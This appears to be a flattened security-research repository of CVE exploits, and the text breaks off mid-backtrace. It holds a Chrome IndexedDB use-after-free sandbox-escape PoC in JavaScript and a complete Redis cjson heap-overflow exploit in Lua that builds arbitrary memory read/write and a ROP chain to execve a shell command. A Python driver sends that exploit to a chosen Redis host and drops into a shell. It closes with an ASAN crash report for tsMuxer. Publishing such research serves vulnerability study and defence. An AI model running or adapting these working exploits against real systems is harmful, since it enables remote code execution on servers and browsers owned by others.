├── .gitmodules ├── CVE-2021-30633 ├── README.md ├── poc.html └── poc.js ├── CVE-2022-24834 ├── README.md ├── exploit.lua └── exploit.py ├── CVE-2024-41209 ├── ASAN_REPORT ├── README.md ├── exploit_aaw.py ├── exploit_final_poc.py ├── exploit_min_poc.py ├── exploit_rip.py ├── exploit_shellcode.py ├── exploit_stack_pivot.py └── mp4dump_result ├── LICENSE └── README.md /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "CVE-2019-0708"] 2 | path = CVE-2019-0708 3 | url = https://github.com/RICSecLab/CVE-2019-0708 4 | -------------------------------------------------------------------------------- /CVE-2021-30633/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-30633 2 | 3 | ## Description 4 | > Use after free in Indexed DB API in Google Chrome prior to 93.0.4577.82 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. 5 | 6 | ## Details 7 | TBA 8 | -------------------------------------------------------------------------------- /CVE-2021-30633/poc.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | PoC 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /CVE-2021-30633/poc.js: -------------------------------------------------------------------------------- 1 | (() => { 2 | "use strict"; 3 | var N = 4; 4 | var M = N + 4; 5 | var sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); 6 | var reqPromisify = (req, onupgradeneeded = null) => new Promise((resolve, reject) => { 7 | if (onupgradeneeded == null) { 8 | onupgradeneeded = function(ev) { 9 | reject(ev); 10 | }; 11 | } 12 | req.onsuccess = function(ev) { 13 | resolve(this.result); 14 | }; 15 | req.onerror = function(ev) { 16 | reject(ev); 17 | }; 18 | req.onupgradeneeded = onupgradeneeded; 19 | }); 20 | function idGenerator(start = 0) { 21 | let id = start; 22 | return () => { 23 | return id++; 24 | }; 25 | } 26 | var toString16 = (string) => new mojoBase.mojom.String16({ data: Array.from(string).map((c) => c.charCodeAt(0)) }); 27 | var fromString16 = (ms) => ms.data.map((n) => String.fromCharCode(n)).join(""); 28 | var getIDBFactory = (() => { 29 | let factory = null; 30 | return () => { 31 | if (!factory) { 32 | factory = new blink.mojom.IDBFactory.ptrClass(); 33 | Mojo.bindInterface(blink.mojom.IDBFactory.name, mojo.makeRequest(factory).handle); 34 | } 35 | return factory; 36 | }; 37 | })(); 38 | var openDatabase = async (name, version) => { 39 | const dbCallback = (() => { 40 | const ptrInfo = new mojo.AssociatedInterfacePtrInfo(); 41 | const req = mojo.makeRequest(ptrInfo); 42 | const handlers = {}; 43 | const binding = new mojo.AssociatedBinding(blink.mojom.IDBDatabaseCallbacks, handlers, req); 44 | return { ptrInfo, handlers }; 45 | })(); 46 | const tx = createTransaction(null, [], blink.mojom.IDBTransactionMode.ReadWrite); 47 | const txCallback = (() => { 48 | const ptrInfo = new mojo.AssociatedInterfacePtrInfo(); 49 | const req = mojo.makeRequest(ptrInfo); 50 | const handlers = {}; 51 | const binding = new mojo.AssociatedBinding(blink.mojom.IDBCallbacks, handlers, req); 52 | return { ptrInfo, handlers }; 53 | })(); 54 | txCallback["upgradeNeeded"] = function() { 55 | throw Error("upgrade required"); 56 | }; 57 | const p = new Promise((resolve) => { 58 | txCallback.handlers["successDatabase"] = function(ptr, metaData) { 59 | resolve([ptr, metaData]); 60 | }; 61 | }); 62 | getIDBFactory().open(txCallback.ptrInfo, dbCallback.ptrInfo, toString16(name), version, tx.req, void 0); 63 | { 64 | const [ptr, metaData] = await p; 65 | return { 66 | ptr: new blink.mojom.IDBDatabaseAssociatedPtr(ptr), 67 | md: metaData 68 | }; 69 | } 70 | }; 71 | var newTransactionId = idGenerator(1); 72 | var createTransaction = (databasePtr, objectStoreIdList, transactionMode) => { 73 | const ptrInfo = new mojo.AssociatedInterfacePtrInfo(); 74 | const req = mojo.makeRequest(ptrInfo); 75 | const ptr = new blink.mojom.IDBTransactionAssociatedPtr(ptrInfo); 76 | const id = newTransactionId(); 77 | if (databasePtr) { 78 | databasePtr.createTransaction(req, id, objectStoreIdList, transactionMode, blink.mojom.IDBTransactionDurability.Default); 79 | } 80 | return { 81 | ptrInfo, 82 | req, 83 | ptr, 84 | id 85 | }; 86 | }; 87 | var VALUE_DB_NAME = "valuedb"; 88 | var VALUE_DB_STORE_NAME = "vstore1"; 89 | var EXPLOIT_DB_NAME = "pocdb"; 90 | var EXPLOIT_DB_STORE_NAME = "xstore1"; 91 | var getFileTokenValue = async (ids) => { 92 | const db = await openDatabase(VALUE_DB_NAME, 1); 93 | const os = Array.from(db.md.objectStores.values()).find((os2) => { 94 | return fromString16(os2.name) === VALUE_DB_STORE_NAME; 95 | }); 96 | if (!os) 97 | throw Error("No os"); 98 | const tx = createTransaction(db.ptr, [os.id], blink.mojom.IDBTransactionMode.ReadOnly); 99 | const data = await Promise.all(ids.map((id) => { 100 | const kr = new blink.mojom.IDBKeyRange({ 101 | lower: new blink.mojom.IDBKey({ string: toString16(id) }), 102 | upper: new blink.mojom.IDBKey({ string: toString16(id) }), 103 | lowerOpen: false, 104 | upperOpen: false 105 | }); 106 | return db.ptr.get(tx.id, os.id, -1, kr, false); 107 | })); 108 | db.ptr.close(); 109 | return data; 110 | }; 111 | var prepareFileHandle = async (num) => { 112 | const dbPromise = (async () => { 113 | await reqPromisify(indexedDB.deleteDatabase(VALUE_DB_NAME)); 114 | return await reqPromisify(indexedDB.open(VALUE_DB_NAME, 1), function(ev) { 115 | const db2 = this.result; 116 | db2.createObjectStore(VALUE_DB_STORE_NAME, { keyPath: "id" }); 117 | }); 118 | })(); 119 | const [fileHandle] = await window.showOpenFilePicker(); 120 | const db = await dbPromise; 121 | const tx = db.transaction([VALUE_DB_STORE_NAME], "readwrite"); 122 | const store = tx.objectStore(VALUE_DB_STORE_NAME); 123 | let ids = []; 124 | for (let i = 0; i < num; ++i) { 125 | const id = `file${i}`; 126 | store.put({ 127 | "id": id, 128 | "value": fileHandle 129 | }); 130 | ids.push(id); 131 | } 132 | await new Promise((resolve, reject) => { 133 | tx.commit(); 134 | tx.oncomplete = () => { 135 | resolve(); 136 | }; 137 | tx.onerror = (err) => { 138 | reject(err); 139 | }; 140 | }); 141 | db.close(); 142 | return ids; 143 | }; 144 | var poc = async (round, valueEx) => { 145 | if (round === 0) { 146 | await reqPromisify(indexedDB.deleteDatabase(EXPLOIT_DB_NAME)); 147 | (await reqPromisify(indexedDB.open(EXPLOIT_DB_NAME, 1), function() { 148 | const db2 = this.result; 149 | const store = db2.createObjectStore(EXPLOIT_DB_STORE_NAME, { 150 | keyPath: "id" 151 | }); 152 | })).close(); 153 | } 154 | const db = await openDatabase(EXPLOIT_DB_NAME, 1); 155 | const os = Array.from(db.md.objectStores.values()).find((os2) => fromString16(os2.name) === EXPLOIT_DB_STORE_NAME); 156 | const tx = createTransaction(db.ptr, [os.id], blink.mojom.IDBTransactionMode.ReadWrite); 157 | tx.ptr.commit(0); 158 | for (let i = 0; i < N; ++i) { 159 | const key = new blink.mojom.IDBKey({ string: toString16(`ID_F${i}`) }); 160 | tx.ptr.put(os.id, valueEx[i].result.$data.value, key, blink.mojom.IDBPutMode.AddOrUpdate, []); 161 | } 162 | const txPromise = tx.ptr.commit(0); 163 | { 164 | const key = new blink.mojom.IDBKey({ string: toString16(`ID_F${N - 1}`) }); 165 | for (let i = N; i < M; ++i) { 166 | tx.ptr.put(os.id, valueEx[i].result.$data.value, key, blink.mojom.IDBPutMode.AddOrUpdate, []); 167 | await sleep(0); 168 | } 169 | } 170 | await txPromise; 171 | db.ptr.close(); 172 | }; 173 | var main = () => { 174 | console.log("Mojo:", typeof mojo); 175 | console.log("Press [Choose File] button!"); 176 | document.getElementById("start_button").addEventListener("click", async function() { 177 | const ids = await prepareFileHandle(M); 178 | for (let i = 0; i < 1e4; ++i) { 179 | console.log("ROUND", i); 180 | this.textContent = `ROUND ${i}`; 181 | const t = await getFileTokenValue(ids); 182 | await poc(i, t); 183 | } 184 | }, { once: true }); 185 | }; 186 | if (document.readyState === "interactive") { 187 | main(); 188 | } else { 189 | document.addEventListener("DOMContentLoaded", main, { once: true }); 190 | } 191 | })(); 192 | -------------------------------------------------------------------------------- /CVE-2022-24834/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-24834 2 | 3 | ## Description 4 | > Redis is an in-memory database that persists on disk. A specially crafted Lua script executing in Redis can trigger a heap overflow in the cjson library, and result with heap corruption and potentially remote code execution. The problem exists in all versions of Redis with Lua scripting support, starting from 2.6, and affects only authenticated and authorized users. The problem is fixed in versions 7.0.12, 6.2.13, and 6.0.20. 5 | 6 | ## Details 7 | 8 | - [Fuzzing Farm #4: Hunting and Exploiting 0-day (CVE-2022-24834)](https://ricercasecurity.blogspot.com/2023/07/fuzzing-farm-4-hunting-and-exploiting-0.html) 9 | - [Fuzzing Farm #4: 0-dayエクスプロイトの開発 (CVE-2022-24834)](https://ricercasecurity.blogspot.com/2023/07/fuzzing-farm-4-0-day-cve-2022-24834.html) 10 | -------------------------------------------------------------------------------- /CVE-2022-24834/exploit.lua: -------------------------------------------------------------------------------- 1 | local n_expand = 5462 2 | local n_spray = 0x10000 3 | local string_overhead = 24 + 1 + 8 -- sizeof(TString): 24, NULL terminator: 1, malloc chunk overhead: 8 4 | 5 | local LUA_TNIL = 0 6 | local LUA_TBOOLEAN = 1 7 | local LUA_TLIGHTUSERDATA = 2 8 | local LUA_TNUMBER = 3 9 | local LUA_TSTRING = 4 10 | local LUA_TTABLE = 5 11 | local LUA_TFUNCTION = 6 12 | local LUA_TUSERDATA = 7 13 | local LUA_TTHREAD = 8 14 | 15 | local function exploit() 16 | --------------- 17 | -- Utilities -- 18 | --------------- 19 | local function p64(val) 20 | -- 0xcafebabe --> "\xbe\xba\xfe\xca\x00\x00\x00\x00" 21 | local s = "" 22 | for i = 0, 7 do 23 | s = s .. string.char(val % 0x100) 24 | val = math.floor(val / 0x100) 25 | end 26 | return s 27 | end 28 | 29 | local function addrof(obj) 30 | local s = tostring(obj) 31 | if s:sub(1, 1) == "t" then 32 | -- "table: 0xdeadbeef" --> 0xdeadbeef 33 | return tonumber(s:sub(8, s:len())) 34 | else 35 | -- "function: 0xdeadbeef" --> 0xdeadbeef 36 | return tonumber(s:sub(11, s:len())) 37 | end 38 | end 39 | 40 | local function bytes_to_double(data) 41 | -- #data == 8 42 | return struct.unpack('d', data) 43 | end 44 | 45 | local function double_to_int(data) 46 | -- #data == 8 47 | return struct.unpack('L', struct.pack('d', data)) 48 | end 49 | 50 | local function int_to_double(data) 51 | -- #data == 8 52 | return struct.unpack('d', struct.pack('L', data)) 53 | end 54 | 55 | -- 56 | -- Avoid GC 57 | -- 58 | local refs = {} 59 | local refs_i = 1 60 | for i=1, 100000 do 61 | refs[i] = 0 62 | end 63 | 64 | -- 65 | -- Make 0x40000000 bytes string 66 | -- 67 | local b = '' 68 | local number_strings = {} 69 | for i=1,0x40000 do number_strings[i] = string.format("%08x", i) end 70 | b = table.concat(number_strings) 71 | for i=1, 2 do 72 | b = b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b 73 | end 74 | 75 | local string_source = b; 76 | 77 | -- 78 | -- Get the "low" address of heap 79 | -- 80 | local heap_addr_leaker = {} 81 | local fake_array_base = addrof(heap_addr_leaker) 82 | -- error(("fake_array_base: %x"):format(fake_array_base)) 83 | 84 | -- 85 | -- Allocate an array used for AAR/AAW 86 | -- 87 | local owow_array1 = nil 88 | local owow_array1_addr = nil 89 | for i=1, 100 do 90 | local _arr = {} 91 | local _addr = addrof(_arr) 92 | 93 | refs[refs_i] = _arr 94 | refs_i = refs_i + 1 95 | 96 | if _addr > fake_array_base then 97 | owow_array1 = _arr 98 | owow_array1_addr = _addr 99 | break 100 | end 101 | end 102 | if owow_array1 == nil then 103 | error("failed to allocate owow_array1 behind fake_array_base") 104 | end 105 | for i=1,10000 do 106 | owow_array1[i] = 0 107 | end 108 | -- error(("owow_array1_addr: %x"):format(owow_array1_addr)) 109 | 110 | -- 111 | -- Create a fake table object 112 | -- 113 | local fake_table_template = ( 114 | "SSSSSSSSFF" -- (pad for address 0xXXXXXX2'2') 115 | .. "\000\000\000\000\000\000\000\000" -- *next 116 | .. "\005" -- tt (LUA_TTABLE) 117 | .. "\001" -- marked 118 | .. "\000" -- flags 119 | .. "\000\000\000\000\000" 120 | .. "\000\000\000\000\000\000\000\000" -- _padding_ 121 | .. "\000\000\000\000\000\000\000\000" -- *metatable 122 | .. p64(fake_array_base) -- *array --> low heap address 123 | .. "\000\000\000\000\000\000\000\000" -- *node 124 | .. "\000\000\000\000\000\000\000\000" -- *lastfree 125 | .. "\000\000\000\000\000\000\000\000" -- *gclist 126 | .. "\255\255\255\127\000\000\000\000" -- sizearray 127 | ) 128 | if #fake_table_template ~= 82 then 129 | error(#fake_table_template) 130 | error("DO NOT CHANGE LENGTH") 131 | end 132 | 133 | -- This object will be used later for arbitrary addrof/fakeobj 134 | local leaker_array = {0, 0} 135 | -- error(("leaker_array: %s"):format(tostring(leaker_array))) 136 | 137 | collectgarbage() 138 | 139 | -- 140 | -- Prepare heap expander 141 | -- 142 | local heap_expand = {} 143 | for i = 1, n_expand do 144 | heap_expand[i] = 0 145 | end 146 | 147 | -- Prepare BOF payload 148 | -- ==[overflow]==> 149 | -- ----+-----------------+ 150 | -- | victim chunk | 151 | -- ... | size | data | 152 | -- ----+-----------------+ 153 | -- ow_offset |-8 |0 154 | local ow = "1337exploit.1337" 155 | local ow_offset = -16 156 | local evil = string.sub(string_source, 1, n_expand * 0x10000 + 0x1ff90 + 0x4010 + ow_offset - 1) .. ow -- Note: '"' (1 byte) appended. 157 | if #evil * 6 < 0x80000000 then 158 | error("too short") 159 | end 160 | -- error(("#evil: %d"):format(#evil)) 161 | 162 | -- 163 | -- Prepare fake table & victim table 164 | -- 165 | local fakes_s = {} 166 | local fakes_t = {} 167 | local fakes_num = 100 168 | for i=1,fakes_num do 169 | fakes_s[i] = 0 170 | fakes_t[i] = 0 171 | end 172 | for i=1,fakes_num do 173 | fakes_s[i] = fake_table_template .. number_strings[i] 174 | fakes_t[i] = {} 175 | end 176 | 177 | local target_ptr = nil 178 | for i=fakes_num,1,-1 do 179 | -- 0xXXXX22 fake table 180 | -- 0xXXXX80 table 181 | -- Note: Difference of addresses depends on #fakes_s[i]. DO NOT change the length 182 | if tostring(fakes_t[i]):sub(-2) == "80" then 183 | target_ptr = fakes_t[i] 184 | break 185 | end 186 | end 187 | -- error(("target: %s"):format(tostring(target_ptr))) 188 | 189 | -- 190 | -- Make these arrays later. 191 | -- 192 | local spray_holder = {} 193 | for i=1,128 do 194 | spray_holder[i] = {} 195 | end 196 | -- error(("spray_holder: %s"):format(tostring(spray_holder))) 197 | 198 | -- 199 | -- Flush allocator caches 200 | -- 201 | for i=1,0x42 do 202 | for j=1,200 do -- To increase reliability, make more iterations. 203 | refs[refs_i] = string.sub(string_source, 8*(j-1)+1, 8*(j-1)+1 + math.max(0, i*0x10 - string_overhead) - 1) 204 | refs_i = refs_i + 1 205 | end 206 | end 207 | for i = 1, 256 do 208 | refs[refs_i] = { string_source:byte(1, 0x1000 - 1 - 5) } 209 | refs_i = refs_i + 1 210 | end 211 | 212 | -- 213 | -- Allocate encode_buf from top. (actual chunk size: 0x1ff90) 214 | -- 215 | cjson.encode_keep_buffer('on') 216 | 217 | local top = string.sub(string_source, 0, 0x4000 - string_overhead - 1) 218 | local result = cjson.encode(top) -- Note: this allocates 0x4010 bytes for return value. 219 | 220 | -- 221 | -- Expand heap to avoid crash 222 | -- 223 | for i = 1, n_expand do 224 | -- alloc chunk 0x10000 225 | -- heap_expand[i] = string.sub(string_source, 1 + 8*(i-1), 1 + 8*(i-1) + 0x10000 - string_overhead - 1) 226 | 227 | -- [ALT] alloc chunk 0x50 + 0xffb0 228 | heap_expand[i] = { string_source:byte(1, 0x1000 - 1 - 5) } 229 | end 230 | 231 | --- Now the objects align like the figure below hopefully 232 | --- +------------+----------------------+----------------+ 233 | --- | encode_buf | ... garbage data ... | sprayed object | 234 | --- +------------+----------------------+----------------+ 235 | for i=1,#spray_holder do 236 | spray_holder[i][1] = target_ptr 237 | end 238 | 239 | -- 240 | -- Trigger vulnerability: Heap overflow on encode_buf 241 | -- 242 | refs[refs_i] = cjson.encode(evil) 243 | refs_i = refs_i + 1 244 | 245 | -- 246 | -- Find the modified object from sprayed objects 247 | -- 248 | local fake_array = nil 249 | for i=1,#spray_holder do 250 | -- spray_holder[i][1][1] = 0x1337 251 | local obj = spray_holder[i][1] 252 | if tostring(obj):sub(-2) == "22" then 253 | fake_array = obj 254 | -- error(("found: %d"):format(i)) 255 | break 256 | end 257 | end 258 | if fake_array == nil then 259 | error("Bad luck...") 260 | end 261 | 262 | -- 263 | -- Make semi-AAW/AAR. 264 | -- 265 | -- error(("Table of fake array: %s"):format(tostring(fake_array))) 266 | 267 | -- overwrite array 268 | local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10) 269 | -- error(("ofs: %d"):format(ofs)) 270 | -- error(("data: %d"):format(struct.unpack('d', p64(fake_array_base - 8)))) 271 | fake_array[1 + ofs] = struct.unpack('d', p64(fake_array_base - 8)) 272 | 273 | -- overwrite array 274 | local ofs = math.floor((owow_array1_addr + 0x28 - (fake_array_base-8)) / 0x10) 275 | owow_array1[1 + ofs] = 0 276 | 277 | -- overwrite size 278 | local ofs = math.floor((owow_array1_addr + 0x40 - fake_array_base) / 0x10) 279 | fake_array[1 + ofs] = bytes_to_double("\255\255\255\127\000\000\000\000") 280 | 281 | local aaw0_base = fake_array_base - 8 282 | local aaw8_base = fake_array_base 283 | local aaw0_array = owow_array1 284 | local aaw8_array = fake_array 285 | -- error(("Table of fake array: %s"):format(tostring(fake_array))) 286 | 287 | local function semi_aaw(addr, value) 288 | -- Warning: This will write 0x03 (qword) tag at addr + 8. 289 | local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10) 290 | fake_array[1 + ofs] = struct.unpack('d', p64(addr)) 291 | owow_array1[1] = value 292 | end 293 | 294 | local function semi_aar(addr) 295 | -- Warning: This requires 0x03 (qword) tag at addr + 8. 296 | local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10) 297 | fake_array[1 + ofs] = struct.unpack('d', p64(addr)) 298 | return owow_array1[1] 299 | end 300 | -- error("[+] semi-AAR/AAW created.") 301 | 302 | -- 303 | -- Leak *array of leaker_array 304 | -- 305 | semi_aaw(addrof(leaker_array) + 0x28, int_to_double(3)) -- LUA_TNUMBER 306 | local leaker_array_array_addr = double_to_int(semi_aar(addrof(leaker_array) + 0x20)) -- leaker_array->array 307 | 308 | -- 309 | -- addrof() for any object 310 | -- 311 | local function addrof(obj) 312 | leaker_array[1] = obj 313 | semi_aaw(leaker_array_array_addr + 8, int_to_double(3)) 314 | return double_to_int(semi_aar(leaker_array_array_addr)) 315 | end 316 | 317 | local function fakeobj(addr, tt) 318 | semi_aaw(leaker_array_array_addr, int_to_double(addr)) 319 | semi_aaw(leaker_array_array_addr + 8, int_to_double(tt)) 320 | return leaker_array[1] 321 | end 322 | 323 | -- 324 | -- Leak proc base 325 | -- 326 | local addr_assert = addrof(assert) 327 | semi_aaw(addr_assert + 0x28, int_to_double(3)) 328 | -- error("assert: " .. string.format("0x%x", addr_assert)) 329 | 330 | local fake_array = ( 331 | p64(0) .. p64(0x105) 332 | .. p64(0) .. p64(0) 333 | .. p64(addr_assert + 0x20) .. p64(0) 334 | .. p64(0) .. p64(0) 335 | .. p64(0x7fffffff) 336 | ) 337 | local addr_fake_array = addrof(fake_array) + 0x18 338 | -- error("fake array: " .. string.format("0x%x", addr_fake_array)) 339 | 340 | local fake_array = fakeobj(addr_fake_array, 5) 341 | local proc_base = double_to_int(fake_array[1]) - 0x175430 -- luaB_assert 342 | -- error("proc base: " .. string.format("0x%x", proc_base)) 343 | 344 | -- 345 | -- Prepare args 346 | -- 347 | local args0 = "/bin/sh" 348 | local args1 = "-c" 349 | local args2 = "/bin/id" 350 | local args = ( 351 | p64(addrof(args0) + 0x18) 352 | .. p64(addrof(args1) + 0x18) 353 | .. p64(addrof(args2) + 0x18) 354 | .. p64(0) 355 | ) 356 | local addr_args = addrof(args) + 0x18 357 | local rdi = p64(addrof(args0) + 0x18) .. p64(addr_args) 358 | 359 | -- 360 | -- Control RIP 361 | -- 362 | local addr_execve = proc_base + 0x6a860 363 | local rop_mov_rdi_prax_call_praxP18h = proc_base + 0x1554c8 364 | local rop_xor_edx_edx_xor_esi_esi_mov_rdi_rbp_call_praxP38h = proc_base + 0xa7b55 365 | local rop_mov_rsi_prdiP8h_mov_rdi_prdi_call_praxP10h = proc_base + 0x12718b 366 | 367 | local fake_function = ( 368 | p64(addrof(rdi) + 0x18) -- 00h 369 | .. p64(0x010106) 370 | .. p64(addr_execve) -- 10h (4) 371 | .. p64(rop_mov_rsi_prdiP8h_mov_rdi_prdi_call_praxP10h) -- 18h (3) 372 | .. p64(rop_xor_edx_edx_xor_esi_esi_mov_rdi_rbp_call_praxP38h) -- 20h (1) 373 | .. p64(0) 374 | .. p64(0) 375 | .. p64(rop_mov_rdi_prax_call_praxP18h) -- 38h (2) 376 | ) 377 | local addr_fake_function = addrof(fake_function) + 0x18 378 | -- error("fake function: " .. string.format("0x%x", addr_fake_function)) 379 | 380 | local fake_function = fakeobj(addr_fake_function, 6) 381 | fake_function() 382 | end 383 | 384 | exploit() 385 | 386 | -------------------------------------------------------------------------------- /CVE-2022-24834/exploit.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | import string 3 | 4 | def R(data): 5 | if isinstance(data, int): 6 | return f":{data}\r\n".encode() 7 | elif isinstance(data, str): 8 | return f"${len(data)}\r\n{data}\r\n".encode() 9 | elif isinstance(data, bytes): 10 | return f"${len(data)}\r\n".encode() + data + b"\r\n" 11 | elif isinstance(data, list): 12 | return f"*{len(data)}\r\n".encode() + b''.join([R(elm) for elm in data]) 13 | elif data is None: 14 | return b"$-1\r\n" 15 | else: 16 | raise ValueError(f"Non-RESP type: {type(data)}") 17 | 18 | def redis_recv(sock): 19 | t = sock.recvonce(1) 20 | if t == b'+' or t == b'-': 21 | return sock.recvuntil("\r\n")[:-2] 22 | elif t == b':': 23 | return int(sock.recvuntil("\r\n")[:-2]) 24 | elif t == b'$': 25 | s = int(sock.recvuntil("\r\n")[:-2]) 26 | if s == -1: 27 | return None 28 | d = sock.recvonce(s) 29 | sock.recvuntil("\r\n") 30 | return d 31 | elif t == b'*': 32 | s = int(sock.recvuntil("\r\n")[:-2]) 33 | return [redis_recv(sock) for i in range(s)] 34 | else: 35 | raise ValueError(f"What is this? {t}") 36 | 37 | def redis_comm(sock, argv): 38 | sock.send(R(argv)) 39 | return redis_recv(sock) 40 | 41 | def GET(key): 42 | return redis_comm(sock, ["GET", key]) 43 | def EVAL(script): 44 | return redis_comm(sock, ["EVAL", script, "0"]) 45 | 46 | HOST = os.getenv("HOST", "localhost") 47 | PORT = os.getenv("PORT", "6379") 48 | 49 | # pwndbg> x/32xg 0x555555a5a000 50 | sock = Socket(HOST, int(PORT)) 51 | 52 | r = EVAL(open("exploit.lua", "rb").read()) 53 | print(r) 54 | 55 | sock.sh() 56 | -------------------------------------------------------------------------------- /CVE-2024-41209/ASAN_REPORT: -------------------------------------------------------------------------------- 1 | Summary: ASAN detected heap-buffer-overflow in MovDemuxer::mov_read_trun after a WRITE leading to SIGABRT (si_signo=6) / SI_TKILL (si_code=-6) 2 | Command line: /out/tsmuxer-mov @@ 3 | Testcase: /eval/eval-lg/out-mov/crashes/id:000108,sig:06,src:000414,op:more_havoc,rep:64 4 | Crash bucket: 0de1fd7005121d965c0e15ee658aff71 5 | 6 | Crashing thread backtrace: 7 | #0 0x00007ffff79b99fc in __pthread_kill_implementation (/lib/x86_64-linux-gnu/libc.so.6) 8 | at ./nptl/pthread_kill.c:44 9 | 10 | #1 0x00007ffff79b99fc in __pthread_kill_internal (/lib/x86_64-linux-gnu/libc.so.6) 11 | at ./nptl/pthread_kill.c:78 12 | 13 | #2 0x00007ffff79b99fc in __GI___pthread_kill (/lib/x86_64-linux-gnu/libc.so.6) 14 | at ./nptl/pthread_kill.c:89 15 | 16 | #3 0x00007ffff7965476 in __GI_raise (/lib/x86_64-linux-gnu/libc.so.6) 17 | at ../sysdeps/posix/raise.c:26 18 | 19 | #4 0x00007ffff794b7f3 in __GI_abort (/lib/x86_64-linux-gnu/libc.so.6) 20 | at ./stdlib/abort.c:79 21 | 22 | #5 0x0000555555715b27 in __sanitizer::Abort() (r-xp /out/tsmuxer-mov) 23 | #6 0x0000555555713951 in __sanitizer::Die() (r-xp /out/tsmuxer-mov) 24 | #7 0x00005555556f6777 in __asan::ScopedInErrorReport::~ScopedInErrorReport() (r-xp /out/tsmuxer-mov) 25 | #8 0x00005555556f958c in __asan::ReportGenericError(unsigned long, unsigned long, unsigned long, unsigned long, bool, unsigned long, unsigned int, bool) (r-xp /out/tsmuxer-mov) 26 | #9 0x00005555556fa4bb in __asan_report_store4 (r-xp /out/tsmuxer-mov) 27 | #10 0x0000555555a070e0 in MovDemuxer::mov_read_trun (r-xp /out/tsmuxer-mov) 28 | 1068: int MovDemuxer::mov_read_trun(this = (class MovDemuxer *)0x61900000dc80, atom = (struct MovDemuxer::MOVAtom){type = 1853190772, offset = 6318, size = 96}) { 29 | ||||: 30 | ||||: /* Local reference: struct MOVStreamContext * const sc = ; */ 31 | 1099: { 32 | 1100: sc->ctts_data.emplace_back(); 33 | 1101: sc->ctts_data[sc->ctts_count].count = 1; 34 | ||||: 35 | ----: } 36 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:1101 37 | 38 | #11 0x00005555559fcee7 in MovDemuxer::ParseTableEntry (r-xp /out/tsmuxer-mov) 39 | 845: int MovDemuxer::ParseTableEntry(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 1853190772, offset = 6318, size = 96}) { 40 | |||: 41 | |||: /* Local reference: struct MovDemuxer::MOVAtom atom = {type = 1853190772, offset = 6318, size = 96}; */ 42 | 916: return mov_read_trkn(atom); 43 | 917: case MKTAG('t', 'r', 'u', 'n'): 44 | 918: return mov_read_trun(atom); 45 | |||: 46 | ---: } 47 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:918 48 | 49 | #12 0x00005555559fb759 in MovDemuxer::mov_read_default (r-xp /out/tsmuxer-mov) 50 | 934: int MovDemuxer::mov_read_default(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 1717662324, offset = 6278, size = 136}) { 51 | |||: 52 | |||: /* Local reference: const int64_t start_pos = 6318; */ 53 | |||: /* Local reference: int err = 0; */ 54 | |||: /* Local reference: struct MovDemuxer::MOVAtom a = {type = , offset = 6, size = 96}; */ 55 | 971: 56 | 972: const int64_t start_pos = m_processedBytes; 57 | 973: err = ParseTableEntry(a); 58 | |||: 59 | ---: } 60 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:973 61 | 62 | #13 0x00005555559fc84c in MovDemuxer::ParseTableEntry (r-xp /out/tsmuxer-mov) 63 | 845: int MovDemuxer::ParseTableEntry(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 1717662324, offset = 6278, size = 136}) { 64 | |||: 65 | |||: /* Local reference: struct MovDemuxer::MOVAtom atom = {type = 1717662324, offset = 6278, size = 136}; */ 66 | 863: case MKTAG('t', 'r', 'a', 'f'): 67 | 864: case MKTAG('u', 'd', 't', 'a'): 68 | 865: return mov_read_default(atom); 69 | |||: 70 | ---: } 71 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:865 72 | 73 | #14 0x00005555559fb759 in MovDemuxer::mov_read_default (r-xp /out/tsmuxer-mov) 74 | 934: int MovDemuxer::mov_read_default(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 1718579053, offset = 6254, size = 160}) { 75 | |||: 76 | |||: /* Local reference: const int64_t start_pos = 6278; */ 77 | |||: /* Local reference: int err = 0; */ 78 | |||: /* Local reference: struct MovDemuxer::MOVAtom a = {type = , offset = 6, size = 136}; */ 79 | 971: 80 | 972: const int64_t start_pos = m_processedBytes; 81 | 973: err = ParseTableEntry(a); 82 | |||: 83 | ---: } 84 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:973 85 | 86 | #15 0x00005555559fc84c in MovDemuxer::ParseTableEntry (r-xp /out/tsmuxer-mov) 87 | 845: int MovDemuxer::ParseTableEntry(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 1718579053, offset = 6254, size = 160}) { 88 | |||: 89 | |||: /* Local reference: struct MovDemuxer::MOVAtom atom = {type = 1718579053, offset = 6254, size = 160}; */ 90 | 863: case MKTAG('t', 'r', 'a', 'f'): 91 | 864: case MKTAG('u', 'd', 't', 'a'): 92 | 865: return mov_read_default(atom); 93 | |||: 94 | ---: } 95 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:865 96 | 97 | #16 0x00005555559fb759 in MovDemuxer::mov_read_default (r-xp /out/tsmuxer-mov) 98 | 934: int MovDemuxer::mov_read_default(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 0, offset = 0, size = 9223372036854775807}) { 99 | |||: 100 | |||: /* Local reference: const int64_t start_pos = 6254; */ 101 | |||: /* Local reference: int err = 0; */ 102 | |||: /* Local reference: struct MovDemuxer::MOVAtom a = {type = , offset = 6, size = 160}; */ 103 | 971: 104 | 972: const int64_t start_pos = m_processedBytes; 105 | 973: err = ParseTableEntry(a); 106 | |||: 107 | ---: } 108 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:973 109 | 110 | #17 